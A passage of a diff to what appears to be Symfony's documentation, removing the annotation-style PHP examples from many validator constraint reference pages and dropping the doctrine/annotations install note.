+++ b/reference/constraints/IsFalse.rst
@@ -35,26 +35,6 @@ method returns **false**:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\IsFalse(
-             *     message = "You've entered an invalid state."
-             * )
-             */
-            public function isStateInvalid()
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index ac9bbeac114..107ac662870 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -21,21 +21,6 @@ of an ``Author`` class exactly equal to ``null``, you could do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\IsNull
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index d48660036cc..f1700f599d1 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -37,26 +37,6 @@ Then you can validate this method with ``IsTrue`` as follows:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            protected $token;
-
-            /**
-             * @Assert\IsTrue(message="The token is invalid.")
-             */
-            public function isTokenValid()
-            {
-                return $this->token == $this->generateToken();
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 9ea26d0d01b..0152abdde55 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -18,24 +18,6 @@ on an object that will contain an ISBN.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Book.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Book
-        {
-            /**
-             * @Assert\Isbn(
-             *     type = "isbn10",
-             *     message = "This value is not valid."
-             * )
-             */
-            protected $isbn;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Book.php
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index 309daff0e0e..8f06a003f0f 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -15,21 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/UnitAccount.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class UnitAccount
-        {
-            /**
-             * @Assert\Isin
-             */
-            protected $isin;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/UnitAccount.php
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 18587bf0165..6e934dcdc2f 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -15,21 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Journal.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Journal
-        {
-            /**
-             * @Assert\Issn
-             */
-            protected $issn;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Journal.php
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index c76c7cf3edc..1ab6ce46494 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -16,23 +16,6 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Book.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Book
-        {
-            /**
-             * @Assert\Json(
-             *     message = "You've entered an invalid Json."
-             * )
-             */
-            private $chapters;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Book.php
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index daec18d51fb..6b52d2ef6ae 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -15,21 +15,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\Language
-             */
-            protected $preferredLanguage;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 140f804092e..d45a8c31d93 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -17,26 +17,6 @@ and ``50``, you might add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Participant.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Participant
-        {
-            /**
-             * @Assert\Length(
-             *      min = 2,
-             *      max = 50,
-             *      minMessage = "Your first name must be at least {{ limit }} characters long",
-             *      maxMessage = "Your first name cannot be longer than {{ limit }} characters"
-             * )
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Participant.php
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index 22ebce5c094..913624e46d8 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -22,28 +22,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThan(5)
-             */
-            protected $siblings;
-
-            /**
-             * @Assert\LessThan(
-             *     value = 80
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -124,21 +102,6 @@ that a date must be in the past like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThan("today")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -196,21 +159,6 @@ dates. If you want to fix the timezone, append it to the date string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThan("today UTC")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -268,21 +216,6 @@ can check that a person must be at least 18 years old like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThan("-18 years")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 05e2dedbfe5..91f5e50b6f4 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -21,28 +21,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThanOrEqual(5)
-             */
-            protected $siblings;
-
-            /**
-             * @Assert\LessThanOrEqual(
-             *     value = 80
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -123,21 +101,6 @@ that a date must be today or in the past like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThanOrEqual("today")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -195,21 +158,6 @@ dates. If you want to fix the timezone, append it to the date string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThanOrEqual("today UTC")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
@@ -267,21 +215,6 @@ can check that a person must be at least 18 years old like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\LessThanOrEqual("-18 years")
-             */
-            protected $dateOfBirth;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index 7df56e456cf..f1c5b91627d 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -23,23 +23,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\Locale(
-             *     canonicalize = true
-             * )
-             */
-            protected $locale;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index cfc6fc54c4c..f89064030a6 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -19,21 +19,6 @@ will contain a credit card number.
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Transaction.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Transaction
-        {
-            /**
-             * @Assert\Luhn(message="Please check your credit card number.")
-             */
-            protected $cardNumber;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Transaction.php
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index c77d0586cbf..388a13fb222 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -19,21 +19,6 @@ The following constraint ensures that the ``withdraw`` of a  bank account
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/TransferItem.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class TransferItem
-        {
-            /**
-             * @Assert\Negative
-             */
-            protected $withdraw;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/TransferItem.php
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index 0aead7184e3..be6f3bc7566 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -18,21 +18,6 @@ is a negative number or equal to zero:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/TransferItem.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class UnderGroundGarage
-        {
-            /**
-             * @Assert\NegativeOrZero
-             */
-            protected $level;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/TransferItem.php
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index b273d195eaa..6cf4770f21f 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -20,21 +20,6 @@ class were not blank, you could do the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index 74729853128..0e4bf194e68 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -18,21 +18,6 @@ The following constraint ensures that the ``rawPassword`` property of the
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\NotCompromisedPassword
-             */
-            protected $rawPassword;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index 993402f0964..e957971ade0 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -26,28 +26,6 @@ the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\NotEqualTo("Mary")
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\NotEqualTo(
-             *     value = 15
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 381aa5de2b5..c95a791a7bb 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -27,28 +27,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\NotIdenticalTo("Mary")
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\NotIdenticalTo(
-             *     value = 15
-             * )
-             */
-            protected $age;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index 44a774757c9..ff0f8eaf27a 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -19,21 +19,6 @@ class were not strictly equal to ``null``, you would:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotNull
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index b918c21695a..523a03be65c 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -19,21 +19,6 @@ positive number (greater than zero):
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Employee.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Employee
-        {
-            /**
-             * @Assert\Positive
-             */
-            protected $income;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Employee.php
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index 2d39d0d6d19..7596bdf3e50 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -18,21 +18,6 @@ is positive or zero:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\PositiveOrZero
-             */
-            protected $siblings;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 9dbbd4cdae2..4846c01fd2c 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -17,25 +17,6 @@ you might add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Participant.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Participant
-        {
-            /**
-             * @Assert\Range(
-             *      min = 120,
-             *      max = 180,
-             *      notInRangeMessage = "You must be between {{ min }}cm and {{ max }}cm tall to enter",
-             * )
-             */
-            protected $height;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Participant.php
@@ -113,24 +94,6 @@ date must lie within the current year like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Event.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Event
-        {
-            /**
-             * @Assert\Range(
-             *      min = "first day of January",
-             *      max = "first day of January next year"
-             * )
-             */
-            protected $startDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Event.php
@@ -199,24 +162,6 @@ dates. If you want to fix the timezone, append it to the date string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Event.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Event
-        {
-            /**
-             * @Assert\Range(
-             *      min = "first day of January UTC",
-             *      max = "first day of January next year UTC"
-             * )
-             */
-            protected $startDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Event.php
@@ -285,24 +230,6 @@ can check that a delivery date starts within the next five hours like this:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\Range(
-             *      min = "now",
-             *      max = "+5 hours"
-             * )
-             */
-            protected $deliveryDate;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 0edcf44aae0..6f94c5c151e 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -19,21 +19,6 @@ more word characters at the beginning of your string:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Regex("/^\w+/")
-             */
-            protected $description;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -97,25 +82,6 @@ it a custom message:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Regex(
-             *     pattern="/\d/",
-             *     match=false,
-             *     message="Your name cannot contain a number"
-             * )
-             */
-            protected $firstName;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -208,24 +174,6 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Regex(
-             *     pattern     = "/^[a-z]+$/i",
-             *     htmlPattern = "[a-zA-Z]+"
-             * )
-             */
-            protected $name;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 49eb07c5aa0..09fed581d25 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -36,30 +36,6 @@ You can validate each of these constraints sequentially to solve these issues:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Localization/Place.php
-        namespace App\Localization;
-
-        use App\Validator\Constraints as AcmeAssert;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Place
-        {
-            /**
-             * @var string
-             *
-             * @Assert\Sequentially({
-             *     @Assert\NotNull(),
-             *     @Assert\Type("string"),
-             *     @Assert\Length(min=10),
-             *     @Assert\Regex(Place::ADDRESS_REGEX),
-             *     @AcmeAssert\Geolocalizable(),
-             * })
-             */
-            public $address;
-        }
-
     .. code-block:: php-attributes
 
         // src/Localization/Place.php
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index 91904fb5c9d..03f664c3556 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -18,22 +18,6 @@ of the day when the event starts:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Event.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Event
-        {
-            /**
-             * @Assert\Time
-             * @var string A "H:i:s" formatted value
-             */
-            protected $startsAt;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Event.php
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index 3f6947e5e83..e410c5dee90 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -17,21 +17,6 @@ string which contains any of the `PHP timezone identifiers`_ (e.g. ``America/New
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/UserSettings.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class UserSettings
-        {
-            /**
-             * @Assert\Timezone
-             */
-            protected $timezone;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/UserSettings.php
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 96c4bd9f211..b39431e2304 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -147,21 +147,6 @@ disable validating:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/BookCollection.php
-
-        // ... same as above
-
-        /**
-         * ...
-         * @Assert\Traverse(false)
-         */
-         class BookCollection implements \IteratorAggregate
-         {
-             // ...
-         }
-
     .. code-block:: php-attributes
 
         // src/Entity/BookCollection.php
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 2f5c14a2c88..ee460d1718f 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -22,39 +22,6 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Type("Symfony\Component\Mime\Address")
-             */
-            protected $emailAddress;
-
-            /**
-             * @Assert\Type("string")
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\Type(
-             *     type="integer",
-             *     message="The value {{ value }} is not a valid {{ type }}."
-             * )
-             */
-            protected $age;
-
-            /**
-             * @Assert\Type(type={"alpha", "digit"})
-             */
-            protected $accessCode;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 6c2b8cdf48d..1ecdbf6659f 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -14,21 +14,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/File.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class File
-        {
-            /**
-             * @Assert\Ulid
-             */
-            protected $identifier;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/File.php
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 7a3e36c5aba..37207ea9f81 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -33,21 +33,6 @@ strings:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Person.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Person
-        {
-            /**
-             * @Assert\Unique
-             */
-            protected $contactEmails;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Person.php
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 82b49480b95..47b90a05c37 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -14,21 +14,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Url
-             */
-            protected $bioUrl;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -110,23 +95,6 @@ Parameter        Description
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Url(
-             *    message = "The url '{{ value }}' is not a valid url",
-             * )
-             */
-            protected $bioUrl;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -201,23 +169,6 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Url(
-             *    protocols = {"http", "https", "ftp"}
-             * )
-             */
-            protected $bioUrl;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
@@ -291,23 +242,6 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Url(
-             *    relativeProtocol = true
-             * )
-             */
-            protected $bioUrl;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/reference/constraints/UserPassword.rst b/reference/constraints/UserPassword.rst
index c1632c3f7c7..ad2d0a3eda8 100644
--- a/reference/constraints/UserPassword.rst
+++ b/reference/constraints/UserPassword.rst
@@ -31,23 +31,6 @@ the user's current password:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Form/Model/ChangePassword.php
-        namespace App\Form\Model;
-
-        use Symfony\Component\Security\Core\Validator\Constraints as SecurityAssert;
-
-        class ChangePassword
-        {
-            /**
-             * @SecurityAssert\UserPassword(
-             *     message = "Wrong value for your current password"
-             * )
-             */
-            protected $oldPassword;
-        }
-
     .. code-block:: php-attributes
 
         // src/Form/Model/ChangePassword.php
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 7b3f355ed59..fff97d10171 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -17,21 +17,6 @@ Basic Usage
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/File.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class File
-        {
-            /**
-             * @Assert\Uuid
-             */
-            protected $identifier;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/File.php
diff --git a/reference/constraints/Valid.rst b/reference/constraints/Valid.rst
index ba4e789091c..3c0e1937708 100644
--- a/reference/constraints/Valid.rst
+++ b/reference/constraints/Valid.rst
@@ -42,48 +42,6 @@ stores an ``Address`` instance in the ``$address`` property::
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Address.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Address
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            protected $street;
-
-            /**
-             * @Assert\NotBlank
-             * @Assert\Length(max=5)
-             */
-            protected $zipCode;
-        }
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotBlank
-             * @Assert\Length(min=4)
-             */
-            protected $firstName;
-
-            /**
-             * @Assert\NotBlank
-             */
-            protected $lastName;
-
-            protected $address;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Address.php
@@ -212,21 +170,6 @@ an invalid address. To prevent that, add the ``Valid`` constraint to the
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\Valid
-             */
-            protected $address;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php
diff --git a/validation.rst b/validation.rst
index 7eb6cfd47b8..5b9fbcb9ce8 100644
--- a/validation.rst
+++ b/validation.rst
@@ -24,13 +24,6 @@ install the validator before using it:
 .. code-block:: terminal
 
     $ composer require symfony/validator
-    
-If your project still uses annotations to define the validation constraints (as
-shown later in this article) you also need to install ``doctrine/annotations``:
-
-.. code-block:: terminal
-
-    $ composer require doctrine/annotations
 
 .. note::
 
@@ -61,7 +54,7 @@ application. The goal of validation is to tell you if the data of an object is
 valid. For this to work, you'll configure a list of rules (called
 :ref:`constraints <validation-constraints>`) that the object must follow in
 order to be valid. These rules are usually defined using PHP code or
